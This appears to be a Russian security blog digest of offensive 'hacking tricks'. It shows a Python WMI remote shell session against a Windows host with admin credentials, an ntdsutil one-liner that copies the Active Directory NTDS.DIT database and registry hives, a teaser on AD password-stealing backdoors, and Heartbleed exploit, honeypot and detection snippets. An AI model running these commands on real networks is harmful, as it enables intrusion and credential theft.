[hacking tricks] Полноценный WMI shell

Усилиями Andrei Dumitrescu появился полноценный WMI шелл на Python. Тула разработана в контексте выступления Andrei's на проходящем сейчас мероприятии #HES2014  [http://2014.hackitoergosum.org/].

Ознакомиться с презентацией можно по следующей ссылке [тынц].

root@bt: ~

root@bt:/tmp# wget https://www.lexsi.fr/conference/wmi-shell.zip
root@bt:/tmp# unzip wmi-shell.zip
Archive:  wmi-shell.zip
   creating: wmi-shell/
  inflating: wmi-shell/LICENSE
  inflating: wmi-shell/wmi-shell.py
  inflating: wmi-shell/README
  inflating: wmi-shell/base.vbs
   creating: wmi-shell/bin/
  inflating: wmi-shell/bin/base64.c
  inflating: wmi-shell/bin/base64.exe
  inflating: wmi-shell/bin/wmis
  inflating: wmi-shell/bin/wmic
   creating: wmi-shell/b64-source/
  inflating: wmi-shell/b64-source/base64.exe
  inflating: wmi-shell/b64-source/base64.c
root@bt:/tmp# cd wmi-shell/
root@bt:/tmp/wmi-shell# python wmi-shell.py administrator password 10.1.37.134
Sending our VBS script to  10.1.37.134  ETA: ~6.4 seconds.
Executed command -->   ./bin/wmis -U "administrator"%"password" //10.1.37.134 "cmd /c echo Function base64_encode( byVal strIn ) >>%TEMP%\E2BpK7z.vbs" 2>/dev/null  <-- . Returned code:  1
...
Executed command -->   ./bin/wmis -U "administrator"%"password" //10.1.37.134 "cmd /c echo End Select >>%TEMP%\E2BpK7z.vbs" 2>/dev/null  <-- . Returned code:  1
>>> dir C:\\
Executed command -->   ./bin/wmis -U "administrator"%"password" //10.1.37.134 "cmd /c cscript %TEMP%\E2BpK7z.vbs \"dir C:\\\"" 2>/dev/null  <-- . Returned code:  1
Executed command -->   ./bin/wmic -U "administrator"%"password" //10.1.37.134 --namespace='root\default' "select Name from __Namespace where Name like 'DOWNLOAD_READY'" > bSKFiy5_ready.tmp  <-- . Returned code:  0
waiting for command output . . Executed command -->   ./bin/wmic -U "administrator"%"password" //10.1.37.134 --namespace='root\default' "select Name from __Namespace where Name like 'DOWNLOAD_READY'" > bSKFiy5_ready.tmp  <-- . Returned code:  0
.  done !
Executed command -->   ./bin/wmic -U "administrator"%"password" //10.1.37.134 --namespace='root\default' "select Name from __Namespace where Name like 'EVILTAG%'" > bSKFiy5.tmp  <-- . Returned code:  0
Volume in drive C has no label.
 Volume Serial Number is 8E25-9E63

 Directory of C:\

14.07.2009  07:20    <DIR>          PerfLogs
19.04.2014  03:12    <DIR>          Program Files
19.04.2014  22:04    <DIR>          Program Files (x86)
19.04.2014  03:05    <DIR>          Users
20.04.2014  04:19    <DIR          Windows
               0 File(s)              0 bytes
               5 Dir(s)  82▒326▒290▒432 bytes free
Executed command -->   ./bin/wmis -U "administrator"%"password" //10.1.37.134 "cmd /c cscript %TEMP%\E2BpK7z.vbs \"cleanup\"" 2>/dev/null  <-- . Returned code:  1
>>>

[hacking tricks] Easy way to get a ntds.dit

Все секреты Active Directory как известно хранятся в одном единственном файлике NTDS.DIT, который представляет из себя специально разработанную компанией Microsoft базу данных. Для получения копии этой базы варварским способом может использоваться механизм  теневых копий. Почему варварским? Да потому, что в момент создания теневой копии в базе могут выполняться различные транзакции, что несколько повлияет на целостность полученной копии. Но начиная с Windows 2008 корпорация добра расширила возможности утилиты Ntdsutil, что позволяет стащить базу NTDS.DIT с работающей системы не повредив ее при этом. Раньше применение утилиты Ntdsutil ограничивалось режимом восстановления контроллера домена.

Спасибо за находку @obscuresec!!

C:\Windows\System32>

Microsoft Windows [Версия 6.0.6001]
(C) Корпорация Майкрософт, 2006. Все права защищены.

C:\Windows\system32>ntdsutil "ac in ntds" "ifm" "cr fu c:\Windows\Temp\abc" q q

ntdsutil: ac in ntds
Активный экземпляр - "ntds".
ntdsutil: ifm
IFM: cr fu c:\Windows\Temp\abc
Создание снимка...
Успешно создан набор снимков {8d6cf811-ccd4-4dbe-9190-b911bb96196a}.
Снимок {f31648c2-0afd-4c5d-bd05-54e42debe6f1} установлен как C:\$SNAP_2014041214
02_VOLUMEC$\
Снимок {f31648c2-0afd-4c5d-bd05-54e42debe6f1} уже подключен.
Запуск режима ДЕФРАГМЕНТАЦИИ...
Исходная база данных: C:\$SNAP_201404121402_VOLUMEC$\Windows\NTDS\ntds.dit
Конечная база данных: c:\Windows\Temp\abc\Active Directory\ntds.dit

Defragmentation Status (% complete)

0 10 20 30 40 50 60 70 80 90 100
|----|----|----|----|----|----|----|----|----|----|
...................................................

Копирование файлов реестра...
Копирование c:\Windows\Temp\abc\registry\SYSTEM
Копирование c:\Windows\Temp\abc\registry\SECURITY
Снимок {f31648c2-0afd-4c5d-bd05-54e42debe6f1} отключен.
Носитель IFM успешно создан в c:\Windows\Temp\abc
IFM: q
ntdsutil: q

C:\Windows\system32>

Binary backdoor in Active Directory :: Stealing passwords

До сегодняшнего дня я писал только про бэкдоры в AD на уровне приложения [1, 2, 3, 4, 5]. Подобные закладки интересны в первую очередь тем, что они имеют высокую степень живучести за счет того, что присутствуют в реплике Active Directory. Такие закладки могут пережить даже смутные времена disaster recovery, после признания админами факта компрометации AD. Но обладая привилегиями системы на контроллерах домена, появляются иные способы сохранить свое незримое присутствие не доводя админов до белого колена. Одному из таких способов и посвящена данная публикация.

CVE-2014-0160 Рабочий сплоит

Этот эксплоит сделал мой день 8)) 



Heartbleed Honeypot Script: http://packetstormsecurity.com/files/126068
Detect heartbleed attacks with tshark [1]: tshark -i eth0 -R "ssl.record.content_type eq 24 and not ssl.heartbeat_message.type"


Search for processes still using old OpenSSL #heartbleed : grep -l 'libssl.*deleted' /proc/*/maps | tr -cd 0-9\\n | xargs -r ps u

Ссылки: